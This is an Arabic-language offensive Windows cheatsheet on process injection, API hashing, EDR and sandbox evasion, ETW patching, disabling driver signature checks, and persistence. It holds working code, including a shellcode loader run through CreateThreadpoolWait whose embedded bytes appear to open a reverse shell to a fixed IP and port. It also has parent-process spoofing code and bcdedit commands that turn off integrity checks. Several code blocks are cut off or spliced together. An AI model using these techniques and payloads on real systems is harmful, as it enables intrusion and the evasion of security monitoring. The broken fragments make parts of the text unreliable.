يُرجى ملاحظة أن EAT مُعرَّف في DLL، وليس في PE "حقيقي" (حيث يستخدم الـ PE جدول EAT الخاص بـ DLL مُحمَّل لحل المؤشرات إلى الدوال التي يريد استخدامها).

### تحليل عنوان دالة

**باستخدام عنوان الدالة**

على ماذا تنتظر؟ ابحث عن هذه الدالة!

**باستخدام الرقم الترتيبي**

الرقم الترتيبي هو **موضع فهرسي** يشير إلى عنوان الدالة المقابل في مصفوفة `AddressOfFunctions`. يمكن استخدامه **لاسترجاع العنوان الصحيح للدالة**، كما يلي:

لنحاول العثور على العنوان المقابل (Addr4) باستخدام الرقم الترتيبي 3.

- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*

العنوان الذي نبحث عنه يقع في الموضع الثالث (بدءًا من 0)، والرقم الترتيبي لدينا يقابل **فهرس هذا العنوان**.

**باستخدام اسم الدالة**

العنصر Nth في مصفوفة AddressOfNames يقابل العنصر Nth في مصفوفة AddressOfNameOrdinals: باستخدام اسم معيّن، يمكنك استرجاع الرقم الترتيبي المقابل، ثم المتابعة للعثور على عنوان الدالة باستخدام هذا الرقم.

## جدول عناوين الاستيراد (IAT)

- مُحمِّل الـ PE لا يعرف أي عنوان يقابل أي دالة: لنستدعِ IAT لإنقاذنا
- مُعرَّف في بنية IMAGE_IMPORT_DIRECTORY:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    DWORD	Characteristics; 
    DWORD	OriginalFirstThunk;	// RVA to ILT
    DWORD	TimeDateStamp;	
    DWORD	ForwarderChain;
    DWORD	Name; 		        // RVA of imported DLL name
    DWORD	FirstThunk;             // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

يحتوي على جميع أسماء الدوال الموجودة في مكتبة DLL المستوردة.

<br>


## تمكين امتياز SeDebug

إن امتياز **SeDebug** هو الامتياز "الأكثر طلبًا" في قائمة امتيازات Windows بأكملها. فهو يتيح لك "تصحيح" أي عملية مرخَّصة، ويمكن ترجمته إلى عدة إجراءات هجومية، مثل فتح مقبض بصلاحيات ```PROCESS_ALL_ACCESS```.

لتمكينه في وضع المستخدم، ستحتاج إلى استخدام دالة مثل:```cpp
void EnableDebugPriv()
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

    CloseHandle(hToken); 
}

<br>

# تقنيات حقن الكود

## حقن CreateRemoteThread

ببساطة اكتب الشيلكود الخاص بك في مساحة ذاكرة مخصصة مسبقًا داخل العملية المستهدفة. (ليست آمنة من حيث OPSEC)

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp

## إفراغ العملية

تتم عملية إفراغ العملية عبر عدة خطوات : 

- إنشاء العملية المستهدفة (المفرّغة) في الوضع المعلّق : يلزم تعديلها
- إلغاء تعيين العملية المستهدفة من PEB الخاص بها (يجب تعريف هذه البنية أولاً)
- كتابة محتوى ملف exe الجديد في هذه العملية : الترويسات + المحتوى
- تحليل وتطبيق جدول إعادة التوطين
- اترك العملية تستمر في العمل في خيطها
- استمتع

> يمكن العثور على POC كاملة هنا : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

## تقنية طابور APC

احقن الشيلكود في جميع الخيوط المتاحة في العملية، ثم استخدم دالة ```QueueUserAPC()``` لاستدعاء APC. قد لا تكون هذه التقنية موثوقة عندما لا يكون هناك العديد من الخيوط في العملية المخترقة.

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp

## الطائر المبكر

على غرار حقن طابور APC، هنا يجب تعيين استدعاء APC في عملية معلّقة. يتم بعد ذلك استئناف الخيط الرئيسي للعملية المنشأة؛ الميزة الرئيسية لهذه التقنية هي أن تجنب كتابة الشيلكود في عملية قيد التشغيل سيجعله أقل اكتشافًا بواسطة برامج مكافحة الفيروسات/EDRs.

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp


## حقن DLL الانعكاسي

كما هو الحال مع حقن الـ dll "الثابت" (باستخدام ملف dll)، يمكنك حقن DLL الخاص بك في معظم العمليات عن طريق عكسه في الذاكرة. تتميز هذه الطريقة بسهولة تجاوز بعض منتجات AV/EDrs على الرغم من أنها طريقة مكشوفة إلى حد ما اليوم.

يجب أولاً تخصيص ذاكرة والقيام ببعض أعمال إعادة التوطين لتعمل بشكل صحيح.

نُشر الـ Poc المعروف حول هذه التقنية بواسطة stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection

## حقن DLL

يمكنك حقن بعض التعليمات البرمجية المخزنة في dll في عملية بعيدة. لسوء الحظ، من المرجح أن تكتشفه منتجات EDRs بسهولة، خاصة إذا لامس الـ dll الخبيث القرص.

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp

## انتحال العملية

ظلت تقنية انتحال العملية حتى قبل بضع سنوات طريقة غير مكتشفة لإطلاق حمولتك الخاصة بطريقة ملتوية. تم عرضها في BlackHat 2017 بواسطة Tal Liberman و Eugene Kogan، شاهد عملهما المذهل : https://www.youtube.com/watch?v=Cch8dvp836w

إنها خطوة "وسيطة" قبل تقنية إفراغ العملية : يتم استبدال صورة PE بالفعل قبل تنفيذها، لذا يقوم WindowsLoader بعملية الإفراغ عنا (أليس هذا رائعًا؟).

قامت Hasherezade بإنشاء بعض نماذج PoC الرائعة لهذه التقنية، متاحة هنا : https://github.com/hasherezade/process_doppelganging

## الألياف

يمكن تعريف الألياف على أنها ```cooperatively 
threads (https://nullprogram.com/blog/2019/03/28/)```. تسمح للبرنامج الرئيسي بتنفيذ الشيلكود عبر هذا النوع الجديد من الخيوط. 

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp


## حقن الكود MapView

تتيح لك هذه التقنية مشاركة عرض لقسم ذاكرة في عمليتك الخبيثة مع عملية بعيدة أخرى، والتي ستنفذ الشيلكود المخزن في هذا العرض. يمكن القيام بذلك باستخدام NtCreateSection/NtMapViewOfSection، مما يسمح لك بتجنب استخدام الدوال التي تتم مراقبتها بشكل كبير مثل WriteProcessMemory() أو VirtualAlloc() (ومع ذلك، قد تتم مراقبة NtMapViewOfSection أيضًا).

مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp



## دوس الوحدات

تتسبب هذه التقنية في أن يكون الـ beacon الخاص بك مدعومًا بوحدة على القرص```c
CHAR moduleName[]  = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection 	   += 0x1000 * 0x2;
RXSection  	   += 0xc;
char* ptr 	    = ( char* )RXSection;

> يمكنك حتى دمج هذه الحيلة مع بعض تحويلات رموز ASCII.

## حل الدوال يدويًا

يمكنك يدويًا حل مؤشر إلى أي دالة من دوال kernel32 أو ntdll وما إلى ذلك.

- أولًا، قم بتعريف قالب الدالة الخاصة بك، استنادًا إلى ترويسة الدالة الحقيقية: 
``````cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*

> لا تتردد في دمج هذه التقنية مع بعض تقنيات إخفاء السلاسل النصية لتجنب تمرير اسم الدالة الحقيقي كنص صريح.

## تجزئة Win32 API

يمكنك إخفاء استدعاءات دوال الـ API الخاصة بك عن طريق تجزئتها باستخدام خوارزمية تجزئة (djb2 هي الأكثر استخدامًا)، وانتبه إلى تصادمات التجزئة المحتملة مع بعض الدوال الخاصة. ثم ادمج هذه التقنية مع حلّ العناوين المباشرة في EAT، ودع المحللين العكسيين يبكون :)

<br>

# تجاوز EDR/نقطة النهاية

## الاستدعاء المباشر للنظام

معظم منتجات EDR تقوم بربط (hook) استدعاءات win32 api في وضع المستخدم (PatchGuard يقلل بشدة من توافر خطافات النواة). لتجنب هذه الخطافات، يمكنك استدعاء ما يعادل Nt() لدوال الـ API الخاصة بك مباشرة.

-```asm
.code
	SysNtCreateFile proc
			mov r10, rcx //syscall convention
			mov eax, 55h //syscall number : in this case it's NtCreateFile
			syscall //call nt function
			ret
	SysNtCreateFile endp
end

- حل عنوان NT```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

> **⚠️** : بعض الدوال قد تكون إيجابية خاطئة، أنصحك باكتشافها :```c
        if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
             strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
              strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
               strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                 strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                  strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }

> مثال على الكود : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c


## تصحيح ETW

تتبع الأحداث لنظام ويندوز (Event Tracing for Windows - ETW) هو واجهة برمجة تطبيقات (API) منخفضة المستوى للتسجيل، ويمكن استخدامه لتصحيح أخطاء/تسجيل عمليات النواة ووضع المستخدم. تم تنفيذه لأول مرة في ويندوز 2000، لكن المراقبة في الوقت الفعلي أصبحت متاحة فعليًا منذ ويندوز XP.

واجهة برمجة تطبيقات ETW متاحة من ملفات الرؤوس (headers) المقدمة من مايكروسوفت : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/

في عملية اختبار اختراق (pentest)، يجب أن تهتم بهذه الوظيفة عن طريق تصحيحها (patching) : الطريقة الأكثر استخدامًا هي كتابة أكواد تشغيلية (opcodes) عشوائية ```ret``` داخل دالة كتابة أحداث ETW (```EtwEventWrite```) لتجنب كتابة السجلات في أي مكان.

مثال على الكود : //

## تجاوز بيئة العزل (Sandbox)

تُستخدم بيئات العزل (Sandbox) بشكل كبير من قبل برامج مكافحة الفيروسات (AV) وأنظمة كشف واستجابة النقاط الطرفية (EDR) لاختبار بعض استدعاءات واجهة برمجة التطبيقات (API) وأجزاء أخرى من الكود قبل تنفيذ برنامجك فعليًا. هناك عدة تقنيات لتجنب هذه الأداة، إليك بعضًا منها أدناه :

- انتظر. بجدية. مثل دالة `Sleep()` أو `time.sleep()` أو ما يعادلها ستقوم بالمهمة، لبضع ثوانٍ قبل تنفيذ الشيل كود (shellcode) الحقيقي.
- حاول تخصيص قدر كبير من الذاكرة (malloc)، مثل 100000000 بايت.
- حاول اكتشاف ما إذا كنت فعلاً في بيئة عزل (جهاز افتراضي VM) : افحص العمليات المفتوحة والملفات وغيرها من الأشياء المشبوهة.
- حاول حلّ (resolve) عنوان URL مزيف (لا يعمل) : العديد من منتجات مكافحة الفيروسات ستستجيب بصفحة مزيفة.
- استخدم استدعاءات API غريبة ونادرًا ما تُستخدم، مثل `VirtualAllocExNuma()`، فمعظم بيئات العزل لا يمكنها محاكاة هذا النوع من الاستدعاءات.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

**طريقة ASM**

حاول إجراء استدعاء INT 3 (ASM): فهو مكافئ لنقطة توقف برمجية، والتي ستؤدي إلى تشغيل مصحح الأخطاء. هناك العديد من الطرق الأخرى لاكتشاف أي مصحح أخطاء، والكثير منها مُجمّع في: https://anti-debug.checkpoint.com/

## تقنية VirtualProtect

من خلال استخدام بعض الحيل مع `VirtualProtect()` يمكنك بسهولة تجنب أن يتم تمييزك في الذاكرة: غيّر بين `PAGE_EXECUTE_READWRITE` و`PAGE_READWRITE` (أقل إثارة للشك) لتجنب تحفيز برنامج مكافحة الفيروسات المفضل لديك.

## Fresh Copy Unhook

تجنّب الخطافات (hooks) عن طريق استبدال ملف ntdll المُخطَّف بآخر جديد، مُعيَّن مباشرةً من القرص.

مثال برمجي : // to add

## Hells Gate

لتجنب استخدام استدعاءات النظام (syscalls) المرمّزة بشكل ثابت، تقوم Hell's Gate (Hells Gates ?) باسترجاعها ديناميكيًا عن طريق تحليل EAT (مقارنة بايتات الذاكرة مع أكواد استدعاء النظام). تم إنشاء الإثبات المفاهيمي (PoC) الأصلي من قبل فريق VX-Underground الرائع، ويمكن العثور عليه هنا: https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z

مثال آخر: https://github.com/am0nsec/HellsGate

## Heavens Gate

استخدم Wow64 لحقن حمولة (payload) 64 بت في مُحمّل 32 بت. قد يكون هذا مفيدًا لتجاوز بعض برامج مكافحة الفيروسات/EDRs لأن Wow64 ستمنع اكتشافك في وضع المستخدم (userland).

النسخة الأكثر شهرة من هذه التقنية تم إنشاؤها من قبل فريق MSF، شاهد عملهم الرائع هنا: https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm

## CreateThreadPoolWait

من خلال إساءة استخدام الدالة CreateThreadPoolWait()، التي يمكنها قبول مؤشر إلى دالة استدعاء (callback)، يمكنك تنفيذ شيلكود (shellcode) الخاص بك عبر هذه الدالة. تتوفر الكثير من التقنيات المشابهة (باستخدام مؤشر دالة استدعاء) على الرابط: http://ropgadget.com/posts/abusing_win_functions.html

مثال:```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

return 0;

## Process Instrumentation Callback

يُعرَّف Process Instrumentation Callback بأنه العلامة `ProcessInstrumentationCallback` (`0x40`) وتستخدمه المنتجات الأمنية لكشف استدعاءات النظام المباشرة المحتملة (direct syscall) عبر تسجيل استدعاء (callback) للتحقق مما إذا كان تعليمة `syscall` تأتي من الصورة التنفيذية وليس من NTDLL. لتجاوزه في عمليتنا، يكفي فقط تعيين `Callback` إلى `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

> مزيد من المعلومات هنا: https://www.arashparsa.com/hook-heaps-and-live-free/

## إخفاء النوم

ظهرت العديد من PoCs حول إخفاء النوم بآليات مختلفة (UM APCs وTP والمزيد)، وهنا نأخذ كمثال [Ekko](https://github.com/Cracked5pider/Ekko/) وهو أسهل PoC للفهم.

سلسلة ROP الخاصة بـ Ekko بسيطة جدًا؛ فهي تغيّر حماية الذاكرة إلى `RW`، وتشفّر المنطقة باستخدام `SystemFunction032` التي تنفذ RC4، وتنام عبر `WaitForSingleObject`، وتفك تشفير المنطقة وتعيد تبديل الحماية إلى `RWX`. أخيرًا، يضع جميع `CONTEXT` في قائمة انتظار باستخدام `CreateTimerQueueTimer`.


> تم إصدار بعض الماسحات الضوئية مثل [TickTock](https://github.com/WithSecureLabs/TickTock) أو [Patriot](https://github.com/joe-desimone/patriot) لكشف ذلك، لكن يمكنك تجنبها باستخدام ترامبولين إلى `NtContinue` في NTDLL مع gadget واستبدال سجل `Rip` في سلسلة ROP
 
<br>
 
# أساسيات برمجة برامج التشغيل

## مفاهيم عامة

تُستخدم برامج التشغيل لتنفيذ التعليمات البرمجية في وضع النواة بدلاً من وضع المستخدم. إنها تقنية قوية لتجاوز جميع خطافات وضع المستخدم والمراقبة التي تم إعدادها بواسطة AV/EDRs. ويمكن استخدامها أيضًا لتجاوز استدعاءات النواة وأشكال مراقبة النواة الأخرى.

يجب التحقق من كود أي برنامج تشغيل (يجب التعامل مع أي تحذير على أنه خطأ) لضمان خلوّه من الأعطال (أنت لا تريد أن تتسبب في BSOD أثناء اختبار الاختراق، أليس كذلك؟).

قبل بضع سنوات، قررت مايكروسوفت حظر برامج التشغيل غير الموقعة من نظام تشغيلها: يجب عليك تعطيل ذلك قبل تحميل برنامج التشغيل الخاص بك، أو استخدام أي ثغرة أمنية (مثل https://github.com/hmnthabit/CVE-2018-19320-LPE) لتعطيل توقيع برامج التشغيل.

في اختبار اختراق حقيقي، يجب أن تجد أي برنامج تشغيل قابل للاستغلال وتستفيد :)

## جدول توزيع خدمات النظام (SSDT)

SSDT، أو جدول توزيع خدمات النظام، هو جدول (كما هو واضح) يمكنه تحديد دالة Nt المقابلة من خلال الفهرس الحالي. عند إجراء أي استدعاء من وضع المستخدم، يتم حله كما يلي:
- ```OpenProcess``` (يتم استدعاء دالة Win32 API)
- ```NtOpenProcess``` (يتم حلها في ntdll.dll)```asm
mov r10, rcx
mov eax, 26 
syscall
ret

غالبًا ما كان يتم اعتراض (Hook) جدول SSDT بواسطة الجذور الخفية (Rootkits)، إذ كان من الممكن تعديل العنوان المقابل ليشير إلى الدوال الخاصة بها. لقد عطّل **Patchguard** هذه الإمكانية، إلا في حالة وجود بعض الثغرات الداخلية.

> تستخدم العديد من منتجات مكافحة الفيروسات هذه الخدعة اليوم أيضًا، ربما باستخدام نفس التقنيات التي يستخدمها القراصنة الخبيثون؛)

## نقطة دخول برنامج التشغيل

يتم تعريف إجراء نقطة دخول برنامج التشغيل كما يلي:```cpp
#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
	return STATUS_SUCCESS;
}

## الإدخال والإخراج

استخدم MajorFunction `IRP_MJ_CREATE` و`IRP_MJ_CLOSE` للعمل كـ"مقاطعة" للتواصل مع برنامج التشغيل الخاص بك من جانب العميل.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

DbgPrint("[+] Hello from FirstDriver CreateClose\n");

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;

نموذج كود كامل هنا : //

## التواصل مع برنامج التشغيل

تطبيقات وضع المستخدم ترسل رموز IOCTL إلى برامج التشغيل عن طريق استدعاء DeviceIoControl، وهو موصوف في توثيق Microsoft Windows SDK. تتسبب استدعاءات DeviceIoControl في قيام مدير الإدخال/الإخراج (I/O manager) بإنشاء طلب IRP_MJ_DEVICE_CONTROL وإرساله إلى برنامج التشغيل الأعلى (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)

يجب أن يستخدم تطبيق وضع المستخدم دالة DeviceIoControl (ioapiset.h) للتواصل مع برنامج التشغيل.
سيتم استخدامها لإرسال طلبات مختلفة إلى كائن **Device** الخاص به.

نموذج كود بسيط هنا : //todo

## توقيع برنامج التشغيل

كما هو موضح في قسم [مفاهيم عامة](#general-concepts)، يجب توقيع برامج التشغيل قبل تثبيتها على نظام Windows. على الرغم من ضرورة استخدام أحد برامج التشغيل أو استغلال ثغرة في النواة لتجاوز ذلك (مثل ثغرة Gigabyte driver CVE على سبيل المثال)، لا يزال بإمكانك تعطيله يدويًا:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

	DbgPrint("[+] Registering callbacks !\n");
}

**process_ob_pre_op_callbacks** هي دالة يعرّفها المستخدم ويتم استدعاؤها عند اعتراض الاستدعاء (callback)، وبالتالي يمكنها رفض العملية أو السماح بها.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}

- ProcessNotify : يُستدعى عند إنشاء عملية أو خروجها.
- ThreadNotify : يُستدعى عند إنشاء خيط أو خروجه (حذفه).
- LoadImageNotify : يُستدعى عند تحميل صورة تنفيذية بواسطة ملف تنفيذي آخر (مثال : DLL محمّل بواسطة عملية).

**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** هو مؤشر إلى روتين الاستدعاء الذي سيتم استدعاؤه عند تشغيل الحدث (هنا، عند إنشاء/خروج العملية).
**Remove** هو علامة بسيطة تشير إلى ما إذا كان PsSetCreateProcessNotify سيسجّل دالة الاستدعاء أو يحذفها (مفيد في دالة التنظيف الخاصة ببرنامج التشغيل لديك).

ستستخدم دالة الاستدعاء هذا النموذج الأولي:```cpp
void OnProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
);

العضو الثالث (Protection) هو بنية PS_PROTECTION والتي تُعرَّف على النحو التالي :```
_PS_PROTECTION
  +0x000 Level            : UChar
  +0x000 Type             : Pos 0, 3 Bits
  +0x000 Audit            : Pos 3, 1 Bit
  +0x000 Signer           : Pos 4, 4 Bits

//  Set general COM security levels.
hr = CoInitializeSecurity(
    NULL,
    -1,
    NULL,
    NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    NULL,
    0,
    NULL);

if( FAILED(hr) )
{
    printf("\nCoInitializeSecurity failed: %x", hr );
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";

//  Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


//  ------------------------------------------------------
//  Create an instance of the Task Service. 
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
                       NULL,
                       CLSCTX_INPROC_SERVER,
                       IID_ITaskService,
                       (void**)&pService );  
if (FAILED(hr))
{
      printf("Failed to create an instance of ITaskService: %x", hr);
      CoUninitialize();
      return 1;
}
    
//  Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
    _variant_t(), _variant_t());
if( FAILED(hr) )
{
    printf("ITaskService::Connect failed: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Get the pointer to the root task folder.  
//  This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
    printf("Cannot get Root Folder pointer: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );

//  Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );

pService->Release();  // COM clean up.  Pointer is no longer used.
if (FAILED(hr))
{
      printf("Failed to create a task definition: %x", hr);
      pRootFolder->Release();
      CoUninitialize();
      return 1;
}

    
//  ------------------------------------------------------
//  Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
    printf("\nCannot get identification pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
    printf("\nCannot put identification info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
    printf("\nCannot get settings pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set setting values for the task. 
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
    printf("\nCannot put setting info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
   

//  ------------------------------------------------------
//  Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
    printf("\nCannot get trigger collection: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
